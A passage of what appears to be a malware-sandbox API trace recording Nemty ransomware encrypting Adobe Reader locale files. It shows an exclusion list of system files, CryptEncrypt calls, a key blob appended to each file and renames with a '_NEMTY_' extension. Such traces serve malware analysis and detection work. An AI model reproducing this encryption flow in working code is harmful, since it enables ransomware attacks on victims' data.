Size=0x170) returned 0x6348d60 [0185.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\PPKLITE.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ppklite.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.982] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=318464) returned 1 [0185.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.982] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.982] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=318464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4dc00 [0185.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.994] CloseHandle (hObject=0x2e8) returned 1 [0185.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.994] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\PPKLITE.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ppklite.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\PPKLITE.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ppklite.chs._nemty_kgobjgd_")) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.995] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.CHS", cAlternateFileName="")) returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2=".") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="..") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="...") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="windows") returned -1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="rsa") returned -1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="NTDETECT.COM") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="ntldr") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="MSDOS.SYS") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="IO.SYS") returned 1 [0185.995] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="boot.ini") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="boot.ini") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="ntuser.dat") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="desktop.ini") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="CONFIG.SYS") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="RECYCLER") returned -1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="bootmgr") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="programdata") returned 1 [0185.996] lstrcmpiW (lpString1="RdLang32.CHS", lpString2="appdata") returned 1 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CHS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.996] Sleep (dwMilliseconds=0x5) [0186.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2284d030, dwHighDateTime=0x1d561e8)) [0186.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2284d030, dwHighDateTime=0x1d561e8)) [0186.012] GetLastError () returned 0x0 [0186.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.012] GetLastError () returned 0x0 [0186.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.012] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.012] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pehN3KFtDy2LHTYJhC6AkF72lGqx6cpleBMFPnuaGuUmUsSURi5vUjX5D5YUnCDg\r\nZ9jp20xKpmA9Jr7dH7CinD3cp+yKnF4ZFoLWyPeRxOlt/SXz325Pf99eb8v3EO2L\r\nxLQH+zBiHayMvWw3onCqKgxwl2hHlCcz9xLOX7HXj5PA+lUY6lGGJUuXOd2aA/gT\r\nUszmS35W09PGMTQAyEtDtpQsro+nyIySEcP+SI7oTELLsrw0ld1plZ303oLBUycV\r\n7zXAp/tPu1gmbgCO5KqjYwkTO9pDWvgNuwH1AlI5/xB/Z1dsFFPoCNeeHu0SGSuD\r\n2ZuBSuc4pyYeIotAMVfBxA==\r\n", pcchString=0x653e5dc) returned 1 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\RdLang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\rdlang32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.013] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=919040) returned 1 [0186.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.013] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.013] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0186.023] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.023] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0186.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.023] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=919040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0600 [0186.023] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.025] CloseHandle (hObject=0x2e8) returned 1 [0186.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.025] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\RdLang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\rdlang32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\RdLang32.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\rdlang32.chs._nemty_kgobjgd_")) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.026] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.CHS", cAlternateFileName="READOU~1.CHS")) returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2=".") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="..") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="...") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="windows") returned -1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="rsa") returned -1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="NTDETECT.COM") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="ntldr") returned 1 [0186.026] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="MSDOS.SYS") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="IO.SYS") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="boot.ini") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="boot.ini") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="ntuser.dat") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="desktop.ini") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="CONFIG.SYS") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="RECYCLER") returned -1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="bootmgr") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="programdata") returned 1 [0186.027] lstrcmpiW (lpString1="ReadOutLoud.CHS", lpString2="appdata") returned 1 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHS", lpUsedDefaultChar=0x0) returned 15 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHS", lpUsedDefaultChar=0x0) returned 15 [0186.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHS", lpUsedDefaultChar=0x0) returned 15 [0186.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHS", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHS", lpUsedDefaultChar=0x0) returned 15 [0186.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.027] Sleep (dwMilliseconds=0x5) [0186.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22873190, dwHighDateTime=0x1d561e8)) [0186.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22873190, dwHighDateTime=0x1d561e8)) [0186.028] GetLastError () returned 0x0 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.028] GetLastError () returned 0x0 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, 